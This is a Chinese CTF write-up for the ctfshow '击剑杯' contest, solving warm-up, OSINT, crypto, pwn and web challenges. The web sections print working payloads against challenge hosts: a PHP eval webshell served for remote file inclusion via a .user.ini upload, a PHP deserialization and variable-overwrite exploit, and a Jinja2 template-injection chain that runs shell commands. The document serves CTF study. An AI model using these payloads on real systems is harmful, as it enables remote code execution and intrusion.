【ctfshow】击剑杯-wp

热身

进群得码

群里发送 击剑杯签到即可

听歌识曲

赛后问了群友,可能真的是积累与特征吧
大概有两种方法:
1:听歌词百度
2:直接知道什么歌

答案是普京ctfshow{Vladimir_Vladimirovich_Putin}

看图识码

网页是一张大的二维码,但是有四个定位符就很奇怪,根据hint,分离出四个小二维码
用二维码神器cortexscan逐一扫描,然后拼接在一起,就是flag啦

看图识妹

直接贴大佬的脚本了
注意要下个chromedriver.exe
网址,版本要与chrome一致

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from time import sleep
import requests
import itertools
from selenium import webdriver


def force_to_get_ans(session, url):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36',
'Cookie': f'session={session}'}
for i in itertools.product(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J'], [str(n) for n in range(10)]):
chk = requests.post(f'{url}/check', {'meizi_id': ''.join(i)}, headers=headers).text
if '回答错误,轮数重新开始计算' not in chk:
return ''.join(i)


driver = webdriver.Chrome(r'chromedriver.exe')
url = 'http://002b1a4d-e639-4e31-b149-dd0fb39d779d.challenge.ctf.show/'

driver.get(f'{url}/start')
n = 1
while n <= 100:
cke = driver.get_cookie('session')
ans=force_to_get_ans(cke, url)
driver.find_element_by_name('meizi_id').send_keys(ans)
driver.find_element_by_xpath('/html/body/form/p[4]/button').click()
sleep(3)
n+=1s

见微知著

远程文件包含
先在服务器上用flask搭建一个网页

1
2
3
4
5
6
7
8
9
10
11
12
13
# coding=utf-8

from flask import *

app = Flask(__name__)
app.secret_key = '*************************'

@app.route('/',methods=['GET', 'POST'])
def index():
return "<?php eval($_POST[1]);?>"

if __name__ == "__main__":
app.run(host='0.0.0.0',port=80,debug=True)

运行

上传一个.user.ini文件用来远程包含

因为加了头检测,所以需要在文件前加上GIF89a
在这个环境中,点也被过滤了,所以需要将ip转为数字
在线转换

访问upload即可远程包含

OSINT

英语阅读

OSINT的全称是Open source intelligence
根据这个进行关键词搜索
第一篇就是

开头就是人名

flag为ctfshow{Bill_Donovan}

这是哪里

图片很大,将主要信息人物截图再百度搜图

在贴吧中得到信息漳州市东山县黄道周公园
查询经纬度

ctfshow{23.7353_117.5125}

卡鲁铁盒

谷歌搜图可以找到原题

根据题目给出的网址搜索编号,找到港口和csc编号

注意名称全大写
flag:ctfshow{FBV854404_ROTTERDAM}

人家想玩嘛

ctfshow{娱乐项目名称-当地该娱乐项目票价-订票增值税}

百度识图
得到位置为迪拜购物中心喷泉

通过谷歌地图可以得知附近的景点lake fountain ride

谷歌搜索lake fountain ride 买票,找到一个可能是官网的地方,标着票价65每人

点右边的在线购票
得到增值税为5%

最后的结果要将fountain去掉
flag为ctfshow{LAKE_RIDE-65-5%}

人有点多

百度识图或者谷歌识图都可以得出地点涩谷,图中是涩谷的标志性街道
谷歌地图可以得到店铺名字BIC_CAMERA和电话号码后四位1111
BIC_CAMERA有官网,找到线路图,可以得知最近的是副都心线

谷歌或者wiki里都可以得到副都心线的编号为F16

其实上面的线路图已经可以看出出口是B2了,但是这题坑就在这里,还需要在B2前加上个10

flag为ctfshow{BIC_CAMERA-1111-10B2-F16}

小城美食

flag格式:ctfshow{X省X市X区X村X号}

百度识图

关键词搜索

拼接一下,得到浙江省衢州市柯城区龚家埠头村28号

安装Arch

Example ctfshow{BV1GJ411x7h7}

根据pdf中的几个关键信息,白色字幕虚拟机安装arch,在b站搜索arch安装,然后通过快速预览的方式粗滤查看,在细看
得到结果
BV1e3411B79M

WEB

给我看看

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
require_once("flag.php");

class whoami{
public $name;
public $your_answer;
public $useless;

public function __construct(){
$this->name='ctfshow第一深情';
$this->your_answer='Only you know';
$this->useless="I_love_u";
}

public function __wakeup(){
global $flag;
global $you_never_know;
$this->name=$you_never_know;

if($this->your_answer === $this->name){
echo $flag;
}
}
}

$secret = $_GET['s'];
if(isset($secret)){
if($secret==="给我看看!"){
extract($_POST);
if($secret==="给我看看!"){
die("<script>window.alert('这是不能说的秘密');location.href='https://www.bilibili.com/video/BV1CW411g7UF';</script>");
}
unserialize($secret);
}
}else{
show_source(__FILE__);
}

简单的变量覆盖和反序列化
exp

1
2
3
4
5
6
7
8
9
10
11
12
<?php

class whoami{
public $your_answer;

public function __construct(){
$this->your_answer=&$this->name;
}
}

$a = new whoami();
echo serialize($a);

代码使用了extract函数,容易构成变量覆盖

谁是CTF之王?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import re

host = 'http://cab68c18-4dae-4f19-a5c9-4c4b015acf46.challenge.ctf.show'

url = f'{host}/madlib'

payload = {
"verb":"{%set x=cycler%}",
"noun":"{%set x=x.__init__%}",
"adjective":"{%set x=x.__globals__",
"person":"os.popen('cat f*')%}",
"place":"{{x.read()}}"
}

r = requests.post(url, json=payload)

flag = re.findall(r'ctfshow{.*}', r.text)[0]

print(flag)

MISC

中文识别带师

只有十个汉字,用鼠标写出来百度即可
要是再多一点就需要用到官方wp中的脚本了

CRYPTO

单向加密

hint是斐波那契
文本中结尾的=I2GWRFMO33EWUZM也是hint,反转后base32解密结果为fibonacci

先用脚本跑出斐波那契数列,然后与文本比较,发现是ascii码,转换一下得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
n=0
a=0
b=1
c=1
fs=['1']
while 1:
c=b+a
a=b
b=c
if n>128:
break
fs.append(str(b))
n=n+1
f=open('code.txt')
d=f.read()
flag=[]
l=len(fs)
while len(d)!=0:
for i in range(l-1,-1,-1):
if d.find(fs[i].strip())==0:
print(fs[i].strip(),i+1)
flag.append(chr(i+1))
d=d[len(fs[i]):]
break
print(''.join( flag))

PWN

炒鸡好玩的井字棋

根据给的c代码,可以知道基本判断逻辑,检查输入是否小于3,检查是否有负号
但是没有检测棋子的范围,所以可以下在-1这样的位置,用2^32-1来输出-1

先正常下两个相连的棋子
[0,0],[0,1]

然后输入[0,4294967295],其实就是[0,-1]
三个棋子一条线相连,得到flag


【ctfshow】击剑杯-wp
https://www.dr0n.top/posts/4da54c25/
作者
dr0n
发布于
2021年11月11日
更新于
2024年3月21日
许可协议